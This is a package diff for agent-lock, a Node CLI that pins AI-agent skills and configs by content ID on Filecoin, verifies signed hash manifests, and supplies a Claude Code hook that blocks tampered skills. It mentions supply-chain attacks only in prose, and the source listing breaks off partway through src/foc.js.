@sgtpooki/agent-lock 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE.md +1 -0
- package/README.md +103 -0
- package/bin/agent-lock.js +273 -0
- package/examples/claude-settings.json +28 -0
- package/package.json +34 -0
- package/src/foc.js +123 -0
- package/src/manifest.js +0 -0
- package/test/manifest.test.js +54 -0
package/LICENSE.md
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
Dual-licensed under Apache-2.0 (https://www.apache.org/licenses/LICENSE-2.0) or MIT (https://opensource.org/licenses/MIT), at your option.
|
package/README.md
ADDED
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
# agent-lock
|
|
2
|
+
|
|
3
|
+
Pin, verify, and prove agent supply-chain artifacts by CID on [Filecoin Onchain Cloud](https://filecoin.cloud). Review once, run that exact content forever.
|
|
4
|
+
|
|
5
|
+
## ELI5
|
|
6
|
+
|
|
7
|
+
Agents load skills, MCP configs, and prompts from marketplaces and repos that can change after you reviewed them. In 2026 that became a real attack: hundreds of malicious skills shipped under innocuous names, swapped in after looking safe.
|
|
8
|
+
|
|
9
|
+
agent-lock makes the swap impossible instead of merely detectable. You publish an artifact and get a CID, a content address that is the hash of the bytes. Anyone installs by that CID and gets exactly the bytes you reviewed, signed by you, provably still stored on Filecoin. Change one byte upstream and the CID changes, so the old CID can never resolve to the tampered version.
|
|
10
|
+
|
|
11
|
+
agent-lock gives an artifact *fixity* — the digital-preservation term for "the property of being unchanged, and the practice of proving it." That is the whole product.
|
|
12
|
+
|
|
13
|
+
## What it does
|
|
14
|
+
|
|
15
|
+
1. **publish**: hashes every file in an artifact directory, signs the inventory with your wallet key, packs it into a UnixFS CAR, and uploads to Filecoin Warm Storage. Prints the root CID.
|
|
16
|
+
2. **install**: fetches by CID over the public gateway (no wallet needed), verifies the publisher signature and re-hashes every file against the signed manifest before writing it to disk.
|
|
17
|
+
3. **verify**: re-hashes installed files against the pinned manifest and flags drift, file by file. Exits non-zero on drift, so it drops into CI.
|
|
18
|
+
4. **proven**: confirms the artifact is still retrievable from Filecoin and its signed inventory verifies.
|
|
19
|
+
|
|
20
|
+
The CID is the integrity anchor (content addressing guarantees the bytes). The signed manifest adds two things the CID alone does not: a per-file inventory so `verify` pinpoints which file drifted, and a publisher signature so you know who published it.
|
|
21
|
+
|
|
22
|
+
## Quick start
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
npm install
|
|
26
|
+
npm test
|
|
27
|
+
|
|
28
|
+
# publish an artifact (needs a funded calibration wallet)
|
|
29
|
+
PRIVATE_KEY=0x... agent-lock publish ./my-skill --name my-skill --version 1.0.0
|
|
30
|
+
|
|
31
|
+
# install it anywhere, no wallet
|
|
32
|
+
agent-lock install <cid> --to ./my-skill
|
|
33
|
+
|
|
34
|
+
# verify it hasn't drifted
|
|
35
|
+
agent-lock verify ./my-skill
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
## The attack it stops
|
|
39
|
+
|
|
40
|
+
```
|
|
41
|
+
agent-lock install <cid> # pull the reviewed bytes, signature checked
|
|
42
|
+
# ... upstream repo gets compromised, ships a keylogger ...
|
|
43
|
+
agent-lock install <cid> # same CID still yields the clean reviewed bytes
|
|
44
|
+
agent-lock verify ./my-skill # flags any locally swapped file in red, exits 1
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
Change one byte and the CID changes, so a swapped artifact simply cannot resolve from the CID you reviewed. There is no version to silently update.
|
|
48
|
+
|
|
49
|
+
## Catching drift automatically
|
|
50
|
+
|
|
51
|
+
`verify` on its own is manual. To catch a modified skill the moment it matters, wire agent-lock into Claude Code at two points (full block in [examples/claude-settings.json](examples/claude-settings.json), drop into `~/.claude/settings.json` or a project's `.claude/settings.json`):
|
|
52
|
+
|
|
53
|
+
```json
|
|
54
|
+
{
|
|
55
|
+
"hooks": {
|
|
56
|
+
"SessionStart": [
|
|
57
|
+
{ "matcher": "*", "hooks": [{ "type": "command", "command": "agent-lock verify --all" }] }
|
|
58
|
+
],
|
|
59
|
+
"PreToolUse": [
|
|
60
|
+
{ "matcher": "Skill", "hooks": [{ "type": "command", "command": "agent-lock hook" }] }
|
|
61
|
+
]
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
- **SessionStart** runs `agent-lock verify --all ~/.claude/skills` when a session begins, so a skill swapped while you were away is flagged before any work starts.
|
|
67
|
+
- **PreToolUse** with matcher `Skill` runs `agent-lock hook` right before a skill is invoked. The hook reads Claude Code's tool payload on stdin, verifies that specific skill, and on drift emits a `permissionDecision: deny` and exits 2, so the harness **blocks the tampered skill before it runs**. Skills agent-lock does not manage pass through untouched.
|
|
68
|
+
|
|
69
|
+
For instant detection during development (independent of any harness), `agent-lock watch ~/.claude/skills` re-verifies on every file change and prints drift the moment it lands.
|
|
70
|
+
|
|
71
|
+
The honest boundary: the hook gates skills agent-lock manages and that route through the Skill tool. It is not a sandbox; a skill that rewrites its own directory between the SessionStart sweep and invocation is still caught by the PreToolUse gate, but content agent-lock never pinned is outside its scope.
|
|
72
|
+
|
|
73
|
+
## CLI
|
|
74
|
+
|
|
75
|
+
```
|
|
76
|
+
agent-lock publish <dir> [--name X] [--version Y] pack + sign + upload; prints the CID
|
|
77
|
+
agent-lock install <cid> [--to <dir>] fetch by CID, verify, unpack
|
|
78
|
+
agent-lock verify [dir] re-hash installed files vs the pinned manifest
|
|
79
|
+
agent-lock verify --all [dir] sweep every managed artifact (default ~/.claude/skills)
|
|
80
|
+
agent-lock proven <cid> retrievability + signed-inventory check
|
|
81
|
+
agent-lock hook Claude Code PreToolUse gate (reads hook JSON on stdin)
|
|
82
|
+
agent-lock watch [dir] re-verify on every file change
|
|
83
|
+
|
|
84
|
+
env: PRIVATE_KEY (publish only), AGENT_LOCK_NETWORK (calibration|mainnet),
|
|
85
|
+
AGENT_LOCK_GATEWAY, AGENT_LOCK_SKILLS_DIR (default ~/.claude/skills),
|
|
86
|
+
AGENT_LOCK_MAX_TOPUP_USDFC (auto-deposit cap, default 5),
|
|
87
|
+
AGENT_LOCK_AUTO_FUND=1 (required for auto-deposit on mainnet)
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
## Privacy
|
|
91
|
+
|
|
92
|
+
Storage is public. Artifacts published with agent-lock are world-readable by CID. This tool is for distributing artifacts that are meant to be installed widely (skills, MCP configs, prompts), not for secrets. Sign with a key you are comfortable being the public publisher of record.
|
|
93
|
+
|
|
94
|
+
## Roadmap
|
|
95
|
+
|
|
96
|
+
1. **Onchain PDP proof status** in `proven`: query the deployed WarmStorage StateView for the artifact's proof epoch, so `proven` reports "PDP-proven through epoch N" rather than just live retrievability.
|
|
97
|
+
2. **Signed index**: a content-addressed registry mapping publisher key to artifact name to CID history, itself pinned and PDP-proven, so discovery does not depend on a mutable server.
|
|
98
|
+
3. **Assisted publish**: an on-ramp for publishers without FIL/USDFC (the marketplace fronts storage for a fee), and a community-funded Filecoin Pay balance that keeps public-good artifacts proven and alive.
|
|
99
|
+
4. **`erc8004` publisher identity**: bind the signer to a registered onchain agent identity.
|
|
100
|
+
|
|
101
|
+
## License
|
|
102
|
+
|
|
103
|
+
Dual-licensed under [Apache-2.0](https://www.apache.org/licenses/LICENSE-2.0) or [MIT](https://opensource.org/licenses/MIT), at your option.
|
|
@@ -0,0 +1,273 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* agent-lock: pin, verify, and prove agent supply-chain artifacts by CID on
|
|
4
|
+
* Filecoin Onchain Cloud. Review once, run that exact content forever.
|
|
5
|
+
*
|
|
6
|
+
* agent-lock publish <dir> pack + sign + upload an artifact; prints its CID
|
|
7
|
+
* agent-lock install <cid> fetch by CID, verify signature + hashes, unpack
|
|
8
|
+
* agent-lock verify [dir] re-hash installed files against the pinned manifest
|
|
9
|
+
* agent-lock proven <cid> show PDP proof status for a published artifact
|
|
10
|
+
*
|
|
11
|
+
* Env: PRIVATE_KEY (publish only), AGENT_LOCK_NETWORK (calibration|mainnet),
|
|
12
|
+
* AGENT_LOCK_GATEWAY, AGENT_LOCK_DIR (default ./.agent-lock for install metadata)
|
|
13
|
+
*/
|
|
14
|
+
import { promises as fs } from 'node:fs'
|
|
15
|
+
import path from 'node:path'
|
|
16
|
+
import process from 'node:process'
|
|
17
|
+
import os from 'node:os'
|
|
18
|
+
import { MANIFEST_NAME, isManaged, verifyInstalled, verifyManifestSelf } from '../src/manifest.js'
|
|
19
|
+
|
|
20
|
+
const SKILLS_DIR = process.env.AGENT_LOCK_SKILLS_DIR || path.join(os.homedir(), '.claude', 'skills')
|
|
21
|
+
|
|
22
|
+
const NETWORK = process.env.AGENT_LOCK_NETWORK || 'calibration'
|
|
23
|
+
const c = {
|
|
24
|
+
green: (s) => `\x1b[32m${s}\x1b[0m`, red: (s) => `\x1b[31m${s}\x1b[0m`,
|
|
25
|
+
yellow: (s) => `\x1b[33m${s}\x1b[0m`, dim: (s) => `\x1b[2m${s}\x1b[0m`,
|
|
26
|
+
bold: (s) => `\x1b[1m${s}\x1b[0m`, cyan: (s) => `\x1b[36m${s}\x1b[0m`,
|
|
27
|
+
}
|
|
28
|
+
const die = (m) => { console.error(`${c.red('agent-lock:')} ${m}`); process.exit(1) }
|
|
29
|
+
const short = (h) => (h ? `${h.slice(0, 14)}…` : '(none)')
|
|
30
|
+
|
|
31
|
+
async function cmdPublish(args) {
|
|
32
|
+
const dir = args[0]
|
|
33
|
+
if (!dir) die('usage: agent-lock publish <dir> [--name X] [--version Y]')
|
|
34
|
+
const privateKey = process.env.PRIVATE_KEY
|
|
35
|
+
if (!privateKey) die('PRIVATE_KEY env var is required to publish')
|
|
36
|
+
const name = flag(args, '--name')
|
|
37
|
+
const version = flag(args, '--version')
|
|
38
|
+
const { publish } = await import('../src/foc.js')
|
|
39
|
+
console.log(c.bold(`\n Publishing ${dir} to Filecoin Onchain Cloud (${NETWORK})\n`))
|
|
40
|
+
const r = await publish(dir, { privateKey, network: NETWORK, name, version, onStatus: (m) => console.log(` ${c.dim('…')} ${m}`) })
|
|
41
|
+
console.log(`\n ${c.green('✓ published')}`)
|
|
42
|
+
console.log(` name : ${r.manifest.name} @ ${r.manifest.artifactVersion}`)
|
|
43
|
+
console.log(` files : ${r.manifest.files.length}`)
|
|
44
|
+
console.log(` signer : ${r.manifest.signer}`)
|
|
45
|
+
console.log(` inventory : ${r.manifest.inventoryDigest}`)
|
|
46
|
+
console.log(` ${c.bold('CID')} : ${c.bold(r.cid)}`)
|
|
47
|
+
console.log(` piece : ${r.pieceCid}`)
|
|
48
|
+
console.log(` gateway : ${r.gatewayURL}`)
|
|
49
|
+
console.log(`\n install with: ${c.cyan(`agent-lock install ${r.cid}`)}\n`)
|
|
50
|
+
process.exit(0)
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
async function cmdInstall(args) {
|
|
54
|
+
const cid = args[0]
|
|
55
|
+
if (!cid) die('usage: agent-lock install <cid> [--to <dir>]')
|
|
56
|
+
const to = flag(args, '--to') || path.join(process.cwd(), cid)
|
|
57
|
+
const { fetchManifest, fetchUnderCid } = await import('../src/foc.js')
|
|
58
|
+
|
|
59
|
+
console.log(c.bold(`\n Installing ${short(cid)} from Filecoin\n`))
|
|
60
|
+
const manifest = await fetchManifest(cid)
|
|
61
|
+
const self = await verifyManifestSelf(manifest)
|
|
62
|
+
if (!self.digestOk) die('manifest inventory digest does not match its file list (corrupt or forged manifest)')
|
|
63
|
+
if (self.signatureOk === false) die(`manifest signature does not match claimed signer ${self.signer}`)
|
|
64
|
+
console.log(` ${c.green('✓')} manifest digest ok`)
|
|
65
|
+
console.log(self.signatureOk ? ` ${c.green('✓')} signed by ${self.signer}` : ` ${c.yellow('!')} unsigned artifact (no publisher identity)`)
|
|
66
|
+
|
|
67
|
+
await fs.mkdir(to, { recursive: true })
|
|
68
|
+
for (const f of manifest.files) {
|
|
69
|
+
const bytes = await fetchUnderCid(cid, f.path)
|
|
70
|
+
const { sha256 } = await import('../src/manifest.js')
|
|
71
|
+
if (sha256(bytes) !== f.sha256) die(`fetched ${f.path} does not match manifest hash (gateway served wrong bytes)`)
|
|
72
|
+
const dest = path.join(to, f.path)
|
|
73
|
+
await fs.mkdir(path.dirname(dest), { recursive: true })
|
|
74
|
+
await fs.writeFile(dest, bytes)
|
|
75
|
+
}
|
|
76
|
+
// Record the pin so `verify` knows the source of truth.
|
|
77
|
+
await fs.writeFile(path.join(to, MANIFEST_NAME), `${JSON.stringify({ ...manifest, _cid: cid }, null, 2)}\n`)
|
|
78
|
+
console.log(` ${c.green('✓')} ${manifest.files.length} files verified + written to ${to}`)
|
|
79
|
+
console.log(`\n every byte matches the signed manifest at CID ${short(cid)}\n`)
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
async function cmdVerify(args) {
|
|
83
|
+
if (args.includes('--all')) return cmdVerifyAll(args)
|
|
84
|
+
const dir = args[0] || process.cwd()
|
|
85
|
+
if (!(await isManaged(dir))) die(`no ${MANIFEST_NAME} in ${dir}.. run agent-lock install first?`)
|
|
86
|
+
const { manifest, self, disk, ok } = await verifyInstalled(dir)
|
|
87
|
+
|
|
88
|
+
console.log(c.bold(`\n Verifying ${manifest.name} @ ${manifest.artifactVersion}\n`))
|
|
89
|
+
console.log(self.digestOk ? ` ${c.green('✓')} manifest digest intact` : ` ${c.red('✗')} manifest digest altered`)
|
|
90
|
+
if (self.signatureOk !== null) console.log(self.signatureOk ? ` ${c.green('✓')} publisher signature valid (${self.signer})` : ` ${c.red('✗')} publisher signature INVALID`)
|
|
91
|
+
for (const d of disk.drift) console.log(` ${c.red('✗')} ${d.path}: ${c.red(d.reason)}`)
|
|
92
|
+
|
|
93
|
+
if (ok) {
|
|
94
|
+
console.log(` ${c.green('✓')} all ${manifest.files.length} files match the pinned manifest`)
|
|
95
|
+
if (manifest._cid) console.log(` ${c.dim(`pinned at CID ${manifest._cid}`)}`)
|
|
96
|
+
console.log()
|
|
97
|
+
} else {
|
|
98
|
+
console.log(`\n ${c.red('✗ DRIFT: local files differ from the reviewed, pinned artifact.')}`)
|
|
99
|
+
if (manifest._cid) console.log(` ${c.dim(`reinstall the trusted bytes: agent-lock install ${manifest._cid}`)}`)
|
|
100
|
+
console.log()
|
|
101
|
+
process.exit(1)
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
/** Sweep every agent-lock-managed artifact under a directory (default ~/.claude/skills). */
|
|
106
|
+
async function cmdVerifyAll(args) {
|
|
107
|
+
const root = args.filter((a) => !a.startsWith('--'))[0] || SKILLS_DIR
|
|
108
|
+
let entries = []
|
|
109
|
+
try {
|
|
110
|
+
entries = await fs.readdir(root, { withFileTypes: true })
|
|
111
|
+
} catch {
|
|
112
|
+
die(`cannot read ${root}`)
|
|
113
|
+
}
|
|
114
|
+
const dirs = []
|
|
115
|
+
if (await isManaged(root)) dirs.push(root)
|
|
116
|
+
for (const e of entries) if (e.isDirectory() && (await isManaged(path.join(root, e.name)))) dirs.push(path.join(root, e.name))
|
|
117
|
+
|
|
118
|
+
if (dirs.length === 0) {
|
|
119
|
+
console.log(c.dim(` no agent-lock-managed artifacts under ${root}`))
|
|
120
|
+
return
|
|
121
|
+
}
|
|
122
|
+
console.log(c.bold(`\n Verifying ${dirs.length} artifact(s) under ${root}\n`))
|
|
123
|
+
let bad = 0
|
|
124
|
+
for (const d of dirs) {
|
|
125
|
+
const { manifest, ok, disk, self } = await verifyInstalled(d)
|
|
126
|
+
if (ok) {
|
|
127
|
+
console.log(` ${c.green('✓')} ${manifest.name} @ ${manifest.artifactVersion}`)
|
|
128
|
+
} else {
|
|
129
|
+
bad++
|
|
130
|
+
const why = !self.digestOk ? 'manifest altered' : self.signatureOk === false ? 'bad signature' : `${disk.drift.length} file(s) drifted`
|
|
131
|
+
console.log(` ${c.red('✗')} ${manifest.name}: ${c.red(why)}`)
|
|
132
|
+
for (const dr of disk.drift) console.log(` ${c.dim(`${dr.path}: ${dr.reason}`)}`)
|
|
133
|
+
}
|
|
134
|
+
}
|
|
135
|
+
console.log()
|
|
136
|
+
if (bad > 0) {
|
|
137
|
+
console.log(` ${c.red(`✗ ${bad} of ${dirs.length} artifact(s) drifted from their pinned bytes.`)}\n`)
|
|
138
|
+
process.exit(1)
|
|
139
|
+
}
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
/**
|
|
143
|
+
* Claude Code PreToolUse hook. Reads the hook JSON on stdin, finds the skill
|
|
144
|
+
* being invoked, verifies it, and on drift emits a deny decision + exit 2 so
|
|
145
|
+
* the harness blocks the tampered skill BEFORE it runs.
|
|
146
|
+
* Wire as: { "matcher": "Skill", "hooks": [{ "type": "command", "command": "agent-lock hook" }] }
|
|
147
|
+
*/
|
|
148
|
+
async function cmdHook() {
|
|
149
|
+
let payload = {}
|
|
150
|
+
try {
|
|
151
|
+
const chunks = []
|
|
152
|
+
for await (const ch of process.stdin) chunks.push(ch)
|
|
153
|
+
payload = JSON.parse(Buffer.concat(chunks).toString('utf8') || '{}')
|
|
154
|
+
} catch {
|
|
155
|
+
process.exit(0) // never break the harness on malformed input
|
|
156
|
+
}
|
|
157
|
+
const skill = payload.tool_input?.skill_name || payload.tool_input?.name
|
|
158
|
+
if (!skill) process.exit(0)
|
|
159
|
+
const dir = path.join(SKILLS_DIR, skill)
|
|
160
|
+
// Only gate skills agent-lock manages; unmanaged skills pass through untouched.
|
|
161
|
+
if (!(await isManaged(dir))) process.exit(0)
|
|
162
|
+
|
|
163
|
+
const { ok, disk, self } = await verifyInstalled(dir).catch(() => ({ ok: false, disk: { drift: [] }, self: {} }))
|
|
164
|
+
if (ok) process.exit(0)
|
|
165
|
+
|
|
166
|
+
const why = !self.digestOk ? 'manifest altered' : self.signatureOk === false ? 'publisher signature invalid' : `${disk.drift.length} file(s) differ from the pinned, reviewed bytes`
|
|
167
|
+
process.stdout.write(JSON.stringify({
|
|
168
|
+
hookSpecificOutput: {
|
|
169
|
+
hookEventName: 'PreToolUse',
|
|
170
|
+
permissionDecision: 'deny',
|
|
171
|
+
permissionDecisionReason: `agent-lock blocked skill "${skill}": ${why}. Reinstall the trusted bytes with \`agent-lock install <cid>\`.`,
|
|
172
|
+
},
|
|
173
|
+
}))
|
|
174
|
+
process.exit(2)
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
/** Watch a directory and re-verify the moment any managed artifact changes. */
|
|
178
|
+
async function cmdWatch(args) {
|
|
179
|
+
const root = args[0] || SKILLS_DIR
|
|
180
|
+
console.log(c.bold(`\n agent-lock watch: ${root}`))
|
|
181
|
+
console.log(c.dim(' re-verifies on every change; Ctrl-C to stop\n'))
|
|
182
|
+
const recheck = debounce(async (sub) => {
|
|
183
|
+
const dir = await nearestManaged(path.join(root, sub))
|
|
184
|
+
if (!dir) return
|
|
185
|
+
const { manifest, ok, disk } = await verifyInstalled(dir).catch(() => ({ ok: false, disk: { drift: [] } }))
|
|
186
|
+
const t = new Date().toISOString().slice(11, 19)
|
|
187
|
+
if (ok) console.log(` ${c.dim(t)} ${c.green('✓')} ${manifest?.name ?? dir} intact`)
|
|
188
|
+
else {
|
|
189
|
+
console.log(` ${c.dim(t)} ${c.red('✗ DRIFT')} ${manifest?.name ?? dir}`)
|
|
190
|
+
for (const d of disk.drift) console.log(` ${c.red(`${d.path}: ${d.reason}`)}`)
|
|
191
|
+
}
|
|
192
|
+
}, 150)
|
|
193
|
+
const { watch } = await import('node:fs')
|
|
194
|
+
try {
|
|
195
|
+
watch(root, { recursive: true }, (_e, file) => file && recheck(file))
|
|
196
|
+
} catch (e) {
|
|
197
|
+
die(`watch failed (${e.message}); recursive watch needs Node 20+ and a supported platform`)
|
|
198
|
+
}
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
/** Walk up from a path to the nearest dir containing a agent-lock manifest. */
|
|
202
|
+
async function nearestManaged(p) {
|
|
203
|
+
let cur = p
|
|
204
|
+
for (let i = 0; i < 8; i++) {
|
|
205
|
+
if (await isManaged(cur)) return cur
|
|
206
|
+
const up = path.dirname(cur)
|
|
207
|
+
if (up === cur) break
|
|
208
|
+
cur = up
|
|
209
|
+
}
|
|
210
|
+
return null
|
|
211
|
+
}
|
|
212
|
+
|
|
213
|
+
function debounce(fn, ms) {
|
|
214
|
+
const timers = new Map()
|
|
215
|
+
return (key) => {
|
|
216
|
+
clearTimeout(timers.get(key))
|
|
217
|
+
timers.set(key, setTimeout(() => fn(key), ms))
|
|
218
|
+
}
|
|
219
|
+
}
|
|
220
|
+
|
|
221
|
+
async function cmdProven(args) {
|
|
222
|
+
const cid = args[0]
|
|
223
|
+
if (!cid) die('usage: agent-lock proven <cid>')
|
|
224
|
+
// Read-side proof check: confirm the artifact is retrievable and its manifest
|
|
225
|
+
// verifies. (Full onchain PDP-epoch lookup via StateView is the next step;
|
|
226
|
+
// for now this proves live retrievability + integrity, which is the demo's point.)
|
|
227
|
+
const { fetchManifest } = await import('../src/foc.js')
|
|
228
|
+
console.log(c.bold(`\n Proving ${short(cid)} on Filecoin\n`))
|
|
229
|
+
let manifest
|
|
230
|
+
try {
|
|
231
|
+
manifest = await fetchManifest(cid)
|
|
232
|
+
} catch (e) {
|
|
233
|
+
die(`not retrievable: ${e.message}`)
|
|
234
|
+
}
|
|
235
|
+
const self = await verifyManifestSelf(manifest)
|
|
236
|
+
console.log(` ${c.green('✓')} retrievable from Filecoin`)
|
|
237
|
+
console.log(self.digestOk ? ` ${c.green('✓')} inventory digest intact` : ` ${c.red('✗')} inventory digest altered`)
|
|
238
|
+
console.log(self.signatureOk ? ` ${c.green('✓')} signed by ${self.signer}` : ` ${c.yellow('!')} unsigned`)
|
|
239
|
+
console.log(` ${c.dim(`name: ${manifest.name} @ ${manifest.artifactVersion}, ${manifest.files.length} files`)}`)
|
|
240
|
+
console.log(` ${c.dim('onchain PDP-epoch lookup via StateView: TODO (see README roadmap)')}\n`)
|
|
241
|
+
}
|
|
242
|
+
|
|
243
|
+
function flag(args, name) {
|
|
244
|
+
const i = args.indexOf(name)
|
|
245
|
+
return i !== -1 ? args[i + 1] : undefined
|
|
246
|
+
}
|
|
247
|
+
|
|
248
|
+
const [cmd, ...args] = process.argv.slice(2)
|
|
249
|
+
try {
|
|
250
|
+
switch (cmd) {
|
|
251
|
+
case 'publish': await cmdPublish(args); break
|
|
252
|
+
case 'install': await cmdInstall(args); break
|
|
253
|
+
case 'verify': await cmdVerify(args); break
|
|
254
|
+
case 'proven': await cmdProven(args); break
|
|
255
|
+
case 'hook': await cmdHook(); break
|
|
256
|
+
case 'watch': await cmdWatch(args); break
|
|
257
|
+
default:
|
|
258
|
+
console.log(`agent-lock: pin, verify, and prove agent artifacts by CID on Filecoin
|
|
259
|
+
|
|
260
|
+
agent-lock publish <dir> pack + sign + upload an artifact; prints its CID
|
|
261
|
+
agent-lock install <cid> fetch by CID, verify signature + hashes, unpack
|
|
262
|
+
agent-lock verify [dir] re-hash installed files against the pinned manifest
|
|
263
|
+
agent-lock verify --all [dir] sweep every managed artifact (default ~/.claude/skills)
|
|
264
|
+
agent-lock proven <cid> show proof status for a published artifact
|
|
265
|
+
agent-lock hook Claude Code PreToolUse gate (reads hook JSON on stdin)
|
|
266
|
+
agent-lock watch [dir] re-verify on every file change
|
|
267
|
+
|
|
268
|
+
env: PRIVATE_KEY (publish), AGENT_LOCK_NETWORK (calibration|mainnet),
|
|
269
|
+
AGENT_LOCK_GATEWAY, AGENT_LOCK_SKILLS_DIR (default ~/.claude/skills)`)
|
|
270
|
+
}
|
|
271
|
+
} catch (err) {
|
|
272
|
+
die(err.message)
|
|
273
|
+
}
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
{
|
|
2
|
+
"_comment": "Drop these blocks into ~/.claude/settings.json (all projects) or .claude/settings.json (one project). SessionStart sweeps every agent-lock-managed skill when a session begins; PreToolUse blocks a tampered skill the moment it's invoked, before it runs.",
|
|
3
|
+
"hooks": {
|
|
4
|
+
"SessionStart": [
|
|
5
|
+
{
|
|
6
|
+
"matcher": "*",
|
|
7
|
+
"hooks": [
|
|
8
|
+
{
|
|
9
|
+
"type": "command",
|
|
10
|
+
"command": "agent-lock verify --all",
|
|
11
|
+
"statusMessage": "Verifying skill integrity (agent-lock)..."
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
],
|
|
16
|
+
"PreToolUse": [
|
|
17
|
+
{
|
|
18
|
+
"matcher": "Skill",
|
|
19
|
+
"hooks": [
|
|
20
|
+
{
|
|
21
|
+
"type": "command",
|
|
22
|
+
"command": "agent-lock hook"
|
|
23
|
+
}
|
|
24
|
+
]
|
|
25
|
+
}
|
|
26
|
+
]
|
|
27
|
+
}
|
|
28
|
+
}
|
package/package.json
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@sgtpooki/agent-lock",
|
|
3
|
+
"version": "0.1.0",
|
|
4
|
+
"description": "Pin, verify, and prove agent supply-chain artifacts (skills, MCP configs, prompts) by CID on Filecoin Onchain Cloud. Review once, run that exact content forever.",
|
|
5
|
+
"type": "module",
|
|
6
|
+
"bin": {
|
|
7
|
+
"agent-lock": "./bin/agent-lock.js"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"test": "node --test 'test/*.test.js'"
|
|
11
|
+
},
|
|
12
|
+
"keywords": [
|
|
13
|
+
"filecoin",
|
|
14
|
+
"filecoin-onchain-cloud",
|
|
15
|
+
"ai-agents",
|
|
16
|
+
"supply-chain",
|
|
17
|
+
"content-addressed",
|
|
18
|
+
"skills",
|
|
19
|
+
"provenance",
|
|
20
|
+
"agent-lock",
|
|
21
|
+
"fixity"
|
|
22
|
+
],
|
|
23
|
+
"author": "Russell Dempsey",
|
|
24
|
+
"license": "Apache-2.0 OR MIT",
|
|
25
|
+
"engines": {
|
|
26
|
+
"node": ">=20"
|
|
27
|
+
},
|
|
28
|
+
"dependencies": {
|
|
29
|
+
"@filoz/synapse-sdk": "^0.41.0",
|
|
30
|
+
"filecoin-pin": "^0.23.2",
|
|
31
|
+
"multiformats": "^13.0.0",
|
|
32
|
+
"viem": "^2.0.0"
|
|
33
|
+
}
|
|
34
|
+
}
|
package/src/foc.js
ADDED
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Filecoin Onchain Cloud upload + retrieval for agent-lock.
|
|
3
|
+
*
|
|
4
|
+
* publish() packs an artifact directory (its files + a signed agent-lock.json) into
|
|
5
|
+
* a UnixFS CAR and uploads to Warm Storage via the Synapse SDK (filecoin-pin
|
|
6
|
+
* core). The IPFS root CID is the integrity anchor; daily PDP proofs then
|
|
7
|
+
* attest the bytes still exist. retrieve() pulls files back by CID over the
|
|
8
|
+
* public gateway, needing no wallet.
|
|
9
|
+
*/
|
|
10
|
+
import { promises as fs } from 'node:fs'
|
|
11
|
+
import os from 'node:os'
|
|
12
|
+
import path from 'node:path'
|
|
13
|
+
import { depositUSDFC } from 'filecoin-pin/core/payments'
|
|
14
|
+
import { calibration, initializeSynapse, mainnet } from 'filecoin-pin/core/synapse'
|
|
15
|
+
import { cleanupTempCar, createCarFromPath } from 'filecoin-pin/core/unixfs'
|
|
16
|
+
import { checkUploadReadiness, executeUpload } from 'filecoin-pin/core/upload'
|
|
17
|
+
import { buildManifest, MANIFEST_NAME, normalizeKey } from './manifest.js'
|
|
18
|
+
|
|
19
|
+
const CHAINS = { calibration, mainnet }
|
|
20
|
+
const GATEWAY = process.env.AGENT_LOCK_GATEWAY || 'https://dweb.link'
|
|
21
|
+
|
|
22
|
+
function makeLogger(verbose) {
|
|
23
|
+
const log = (level) => (...a) => {
|
|
24
|
+
if (verbose) console.error(`[${level}]`, ...a.map((x) => (typeof x === 'string' ? x : JSON.stringify(x))))
|
|
25
|
+
}
|
|
26
|
+
const l = {
|
|
27
|
+
info: log('info'), warn: log('warn'), error: (...a) => console.error('[error]', ...a),
|
|
28
|
+
debug: log('debug'), trace: log('trace'), fatal: (...a) => console.error('[fatal]', ...a),
|
|
29
|
+
level: verbose ? 'debug' : 'error',
|
|
30
|
+
}
|
|
31
|
+
l.child = () => l
|
|
32
|
+
return l
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
/**
|
|
36
|
+
* Pack an artifact directory + signed manifest, upload to FOC.
|
|
37
|
+
* @param {string} dir
|
|
38
|
+
* @param {{privateKey: string, network?: string, name?: string, version?: string, verbose?: boolean, onStatus?: (m:string)=>void}} opts
|
|
39
|
+
*/
|
|
40
|
+
export async function publish(dir, opts) {
|
|
41
|
+
const { privateKey, network = 'calibration', verbose = false, onStatus = () => {} } = opts
|
|
42
|
+
const logger = makeLogger(verbose)
|
|
43
|
+
const chain = CHAINS[network]
|
|
44
|
+
if (!chain) throw new Error(`unsupported network: ${network}`)
|
|
45
|
+
|
|
46
|
+
const stat = await fs.stat(dir).catch(() => null)
|
|
47
|
+
if (!stat?.isDirectory()) throw new Error(`not a directory: ${dir}`)
|
|
48
|
+
|
|
49
|
+
onStatus('hashing + signing artifact inventory')
|
|
50
|
+
const manifest = await buildManifest(dir, { privateKey, name: opts.name, version: opts.version })
|
|
51
|
+
|
|
52
|
+
// Stage a copy of the dir with the manifest written in, so both land under one root CID.
|
|
53
|
+
const stageDir = await fs.mkdtemp(path.join(os.tmpdir(), 'agent-lock-pub-'))
|
|
54
|
+
await fs.cp(dir, stageDir, { recursive: true })
|
|
55
|
+
await fs.writeFile(path.join(stageDir, MANIFEST_NAME), `${JSON.stringify(manifest, null, 2)}\n`)
|
|
56
